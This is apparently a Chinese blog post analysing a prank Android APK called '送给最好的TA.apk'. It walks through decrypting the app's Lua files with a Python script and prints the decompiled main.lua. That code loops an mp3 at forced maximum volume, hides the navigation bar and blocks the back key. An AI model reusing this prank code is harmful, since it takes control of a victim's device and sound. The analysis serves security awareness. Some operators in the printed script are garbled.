20190927收到一个apk,名字叫“送给最好的TA.apk”。文件哈希值如下:
逆向分析
用AndroidKiller对apk进行逆向分析。
发现一个0.mp3和2个lua文件。其中0.mp3就是罪魁祸首了。而lua文件打开是乱码也不是字节码。
通过分析java代码,发现调用了libarmeabi-v7alibluajava.so对lua进行解密,于是用IDA Pro 7.0 x86对so文件进行逆向。
在luaL.loadbufferx函数里,有解密过程,整个代码不复杂,编写解密脚本如下:
代码语言:javascript复制# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
__blog__='http://pcat.cc'
from ctypes import *
import sys
def decrypt(filename):
s=open(filename,'rb').read()
outfile='out.lua'
if s[0]==chr(0x1b) and s[1]!=chr(0x4c):
rst=chr(0x1b)
size=len(s)
v10=0
for i in range(1,size):
v10 =size
v=(c_ulonglong(-2139062143*v10).value>>32) v10
v1=c_uint(v).value>>7
v2=c_int(v).value<0
rst =chr(ord(s[i])^(v10 v1 v2)&0xff)
with open(outfile,'wb') as f:
f.write(rst)
else:
pass
def foo():
if len(sys.argv)==2:
filename=sys.argv[1]
else:
filename='main.lua'
decrypt(filename)
if __name__ == '__main__':
foo()
解密后是正常的lua字节码,可使用unluac进行反编译。
代码语言:javascript复制java -jar unluac.jar out.lua >raw.lua
解密后的init.lua:
代码语言:javascript复制local L0_0
appname = "233128129231187153230156128229165189231154132TA"
appver = "1.0"
appcode = "10"
appsdk = "15"
path_pattern = ""
packagename = "com.sgzh.dt"
theme = "Theme_DeviceDefault_Dialog_NoActionBar_MinWidth"
app_key = ""
app_channel = ""
developer = ""
description = ""
debugmode = false
L0_0 = {
"INTERNET",
"WRITE_EXTERNAL_STORAGE"
}
user_permission = L0_0
解密后的main.lua:
代码语言:javascript复制require("import")
import("android.app.*")
import("android.os.*")
import("android.widget.*")
import("android.view.*")
import("android.view.View")
import("android.content.Context")
import("android.media.MediaPlayer")
import("android.media.AudioManager")
import("com.androlua.Ticker")
activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)
m = MediaPlayer()
m.reset()
m.setDataSource(activity.getLuaDir() .. "/0.mp3")
m.prepare()
m.start()
m.setLooping(true)
ti = Ticker()
ti.Period = 10
function ti.onTick()
activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)
end
ti.start()
function onKeyDown(A0_0, A1_1)
if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then
activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
end
return true
end
其中,定时器不断地设置音量为15(最大值)。
安全意识的感悟
科技发展日新月异,加强关注网络安全,提高网络安全意识刻不容缓。在网络安全意识上一定要多加注意,多了解一些网络安全常识和网络安全技术问题,可以使我们能保证自己的安全。
另外,程序员制作程序的初衷应当是为了让世界更方便快捷美好之类的,而做这些乱七八糟坑人的东西,根本没有任何意义。